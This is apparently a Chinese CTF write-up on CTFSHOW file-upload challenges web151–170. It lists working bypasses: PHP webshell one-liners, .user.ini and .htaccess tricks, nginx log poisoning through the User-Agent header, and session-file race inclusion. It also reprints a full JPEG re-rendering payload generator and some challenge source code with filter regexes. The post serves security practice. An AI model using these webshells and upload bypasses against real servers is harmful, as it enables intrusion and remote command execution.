本系列题目来源:CTFSHOW: https://ctf.show/challenges
想搞好代码审计,必须要搞懂其中一些危险函数危险应用,以及过滤不足,
故以 CTF 来练习。
web151~前端验证
直接抓包修改后缀。
web152~前端+MIME
直接抓包修改后缀。
web153~.user.ini
https://www.php.net/manual/en/ini.list.php
使用条件:
(1)服务器脚本语言为PHP 服务器使用CGI/FastCGI模式
(2)上传目录下要有可执行的php文件
使用方式:
-
上传一张图片马
-
上传
.user.ini
auto_prepend_file=ma.png -
访问
.user.ini
同级目录中的一个php文件。
本题目中有 /upload/index.php
,所以可以操作。
题目配置可以从http相应包得到。nginx/1.18.0 (Ubuntu)
web154~文件内容过滤php
上来测试发现是黑名单过滤的。
我们还可以上传 .user.ini
,并且upload/index.php
真好存在。
那么我们上传一张图片马,
发现被拦截了。
文件上传失败,失败原因:文件内容不合规
猜测可能是拦截了 php 字符串。那么我们删掉他试试,果然上传成功。
那么我们呢绕过就可以了。
echo '123';?> # 不可 =eval($_POST['a']);?> # 不可用
web155~文件内容过滤php
测试正常的 png 图片可以上传。
对图片内容过滤php
绕过 =eval($_POST['a']);
步骤跟上关一样。。。。。
web156~过滤 php, [
测试,又是文件内容过滤了 php
.
紧接着发现事情没这么简单,还过滤了[
,这给传参造成了一定的困难。
但是我们可以直接
=system('cat ../flag.???'); =eval($_POST{'a'}); # 用 {} 代替 []
web157~过滤分号
nginx/1.18.0 (Ubuntu) PHP/5.6.40
文件名黑名单
经测试,对文件内容过滤了 php
、[
、{
、 ;
上传.user.ini
我们知道 php 最后的语句也可以不加分号的,前提是得有 ?>
结束标志。
上传 2.png
=system('ls ../')?> =system('cat ../*')?>
访问upload/index.php
web158~过滤分号
和web157解法相同。
web159~过滤括号
经测试,对文件内容过滤了 php
、[
、{
、 ;
、 (
问题不大,不能用函数了。
那我们用反引号代替system()
=`cat ../*`?>
web160~过滤反引号,包含日志
经测试,对文件内容过滤了 php
、[
、{
、 ;
、 (
、 反引号 、空格。
好家伙。包含日志文件,但发现 log
也被过滤了。那就进行拼接。
上传.user.ini
后,在上传 ma.png
=include"/var/lo"."g/nginx/access.lo"."g"?>
看到页面回显,确实包含了。
想着直接浏览器访问 url 路径带上一句话,但是却被编码了 %3C?php%20eval($_POST[1]);?%3E
还是再UA出比较好。
修改UA User-Agent:
然后成功getshell.
web161~检测文件头
发现只有文件内容异常的图片已经上传不上去了。猜测应该是对文件头进行了检测。
上传 GIF89a
成功绕过,但是这里文件内容测试只有两个字符的时候还不能上传。。。。。所以多放点字符。
其余操作和上官相同。
web162~包含session文件
测试,这关也检测了文件头,但是同时过滤掉了 点 .
我们可以看到这样绕过
.user.ini :
GIF89a auto_prepend_file=ma
但上传ma
文件,同样不能包含日志文件。这时候就需要包含session文件了。
这里还过滤了flag
上传 ma
GIF89a =include"/tmp/sess_fllag"?>
那么我们就开始构造,session文件竞争包含。
构造
一直上传,内容为写后门到 a.php
然后一直包含session文件。
可以看到成功包含,那么此时我们去upload/a.php
,成功访问,并测试后门成功写入。
可以参考文件包含篇:
还有 利用session.upload_progress进行文件包含
web163~包含session文件
过滤还是前面的过滤。
操作和上关一样的。
这里有upload/index.php
,所以我们其实可以直接利用此文件包含Session文件。
上传.user.ini
:
GIF89a auto_prepend_file=/tmp/sess_fllag
然后就开始session文件竞争上传和包含。
成功。
这是题目源码:
0) { $ret = array("code"=>2,"msg"=>$_FILES["file"]["error"]); } else { $filename = $_FILES["file"]["name"]; $filesize = ($_FILES["file"]["size"] / 1024); if($filesize>1024){ $ret = array("code"=>1,"msg"=>"文件超过1024KB"); }else{ if($_FILES['file']['type'] == 'image/png'){ $arr = pathinfo($filename); $ext_suffix = $arr['extension']; if($ext_suffix!='php'){ $content = file_get_contents($_FILES["file"]["tmp_name"]); if(stripos($content, "php")===FALSE && check($content) && getimagesize($_FILES["file"]["tmp_name"])){ move_uploaded_file($_FILES["file"]["tmp_name"], "upload/".$_FILES["file"]["name"]); $ret = array("code"=>0,"msg"=>"upload/".$_FILES["file"]["name"]); }else{ $ret = array("code"=>2,"msg"=>"文件类型不合规"); } }else{ $ret = array("code"=>2,"msg"=>"文件类型不合规"); } }else{ $ret = array("code"=>2,"msg"=>"文件类型不合规"); } } } function check($str){ return !preg_match('/php|{|[|;|log|(| |`|flag|./i', $str); } function clearUpload(){ system("mv ./upload/index.php ./index.php_"); system("rm -rf ./upload/*"); system("mv ./index.php_ ./upload/index.php"); } sleep(2); clearUpload(); echo json_encode($ret);
web164~png二次渲染
测试了一下。
{"code":3,"msg":"只允许上传png格式图片"}
白名单验证。
找了一张测试可以成功上传png图片。
还发现
download.php?image=4a47a0db6e60853dedfcfdf08a5ca249.png
可以随意修改图片又会被检测,故做图片马。
但是一般的图片马还绕不过,应该是做了二次渲染。
所以可以上传二次渲染绕过的图片,在做文件包含即可。
生成脚本:
*/ $img = imagecreatetruecolor(32, 32); for ($y = 0; $y
web165~jpg二次渲染
测试只能上传 jpg.
{"code":3,"msg":"只允许上传jpg格式图片"}
也是二次渲染,当我们写后门进图片是,后台会自动检测并删除数据。
那么就用到 jpg二次渲染绕过了。
拿脚本
In case of successful injection you will get a specially crafted image, which should be uploaded again. Since the most straightforward injection method is used, the following problems can occur: 1) After the second processing the injected data may become partially corrupted. 2) The jpg_payload.php script outputs "Something's wrong". If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image. Sergey Bobrov @Black2Fan. See also: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/ */ $miniPayload = "=eval($_POST[1]);?>"; if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) { die('php-gd is not installed'); } if(!isset($argv[1])) { die('php jpg_payload.php '); } set_error_handler("custom_error_handler"); for($pad = 0; $pad readShort() != 0xFFD8) { die('Incorrect SOI marker'); } while((!$dis->eof()) && ($dis->readByte() == 0xFF)) { $marker = $dis->readByte(); $size = $dis->readShort() - 2; $dis->skip($size); if($marker === 0xDA) { $startPos = $dis->seek(); $outStreamTmp = substr($outStream, 0, $startPos) . $miniPayload . str_repeat(" ",$nullbytePayloadSize) . substr($outStream, $startPos); checkImage('_'.$argv[1], $outStreamTmp, TRUE); if($extraBytes !== 0) { while((!$dis->eof())) { if($dis->readByte() === 0xFF) { if($dis->readByte !== 0x00) { break; } } } $stopPos = $dis->seek() - 2; $imageStreamSize = $stopPos - $startPos; $outStream = substr($outStream, 0, $startPos) . $miniPayload . substr( str_repeat(" ",$nullbytePayloadSize). substr($outStream, $startPos, $imageStreamSize), 0, $nullbytePayloadSize+$imageStreamSize-$extraBytes) . substr($outStream, $stopPos); } elseif($correctImage) { $outStream = $outStreamTmp; } else { break; } if(checkImage('payload_'.$argv[1], $outStream)) { die('Success!'); } else { break; } } } } unlink('payload_'.$argv[1]); die('Something's wrong'); function checkImage($filename, $data, $unlink = FALSE) { global $correctImage; file_put_contents($filename, $data); $correctImage = TRUE; imagecreatefromjpeg($filename); if($unlink) unlink($filename); return $correctImage; } function custom_error_handler($errno, $errstr, $errfile, $errline) { global $extraBytes, $correctImage; $correctImage = FALSE; if(preg_match('/(d+) extraneous bytes before marker/', $errstr, $m)) { if(isset($m[1])) { $extraBytes = (int)$m[1]; } } } class DataInputStream { private $binData; private $order; private $size; public function __construct($filename, $order = false, $fromString = false) { $this->binData = ''; $this->order = $order; if(!$fromString) { if(!file_exists($filename) || !is_file($filename)) die('File not exists ['.$filename.']'); $this->binData = file_get_contents($filename); } else { $this->binData = $filename; } $this->size = strlen($this->binData); } public function seek() { return ($this->size - strlen($this->binData)); } public function skip($skip) { $this->binData = substr($this->binData, $skip); } public function readByte() { if($this->eof()) { die('End Of File'); } $byte = substr($this->binData, 0, 1); $this->binData = substr($this->binData, 1); return ord($byte); } public function readShort() { if(strlen($this->binData) binData, 0, 2); $this->binData = substr($this->binData, 2); if($this->order) { $short = (ord($short[1]) binData||(strlen($this->binData) === 0); } } ?>
先上传一张图片,然后下载下来,然后利用脚本生成。
php jpg_payload.php
再继续上传,
发现这张图片不行,再来一张。
成功。
需要注意的是,有一些jpg图片不能被处理,所以要多尝试一些jpg图片.
web166~zip文件上传包含
尝试多次,发现zip 文件可上传。
但是上传直接编辑后门一句话的压缩包。
web167~.htaccess
但这只是前端限制。
可以看到,只允许jpg上传。
抓包测试了一下,是黑名单。
开局有个提示httpd
测试.htaccess
成功。
SetHandler application/x-httpd-php
然后上传带有马的 1.jpg
即可。
但是这里浏览器响应回来的是 nginx呀,坑。
web168~后门免杀
基础免杀
测试,会检测_GET
、_POST
。
可抓包后修改直接上传php文件。
反引号
反引号达到命令执行的效果。
把源码拔下来
[email protected] # @link: https://ctfer.com */ error_reporting(0); if ($_FILES["file"]["error"] > 0) { $ret = array("code"=>2,"msg"=>$_FILES["file"]["error"]); } else { $filename = $_FILES["file"]["name"]; $filesize = ($_FILES["file"]["size"] / 1024); if($filesize>1024){ $ret = array("code"=>1,"msg"=>"文件超过1024KB"); }else{ if($_FILES['file']['type'] == 'image/png'){ $str = file_get_contents($_FILES["file"]["tmp_name"]); if(check($str)===0){ move_uploaded_file($_FILES["file"]["tmp_name"], './upload/'.$_FILES["file"]["name"]); $ret = array("code"=>0,"msg"=>$_FILES["file"]["name"]); } }else{ $ret = array("code"=>2,"msg"=>"文件类型不合规"); } } } function check($str){ return preg_match('/eval|assert|assert|_POST|_GET|_COOKIE|system|shell_exec|include|require/i', $str); } echo json_encode($ret);
本来还想着包含一波日志。
字符拼接
$_REQUEST
数学函数
其他函数构造
web169~.user.ini包含日志
测试发现
抓包需修改Content-Type: image/png
文件名后缀随意。
看看文件内容过滤了啥 ? 等等。
只能进行 .user.ini
日志文件包含了。
思路: 上传 .user.ini
auto_prepend_file=/var/log/nginx/access.log
然后随便上传个php文件即可。
然后改UA为一句话即可。
web170
测试上传zip,抓包修改,后缀为php
, MIME类型为image/png
.
包含.user.ini
日志文件/var/log/nginx/access.log
请登录后发表评论
注册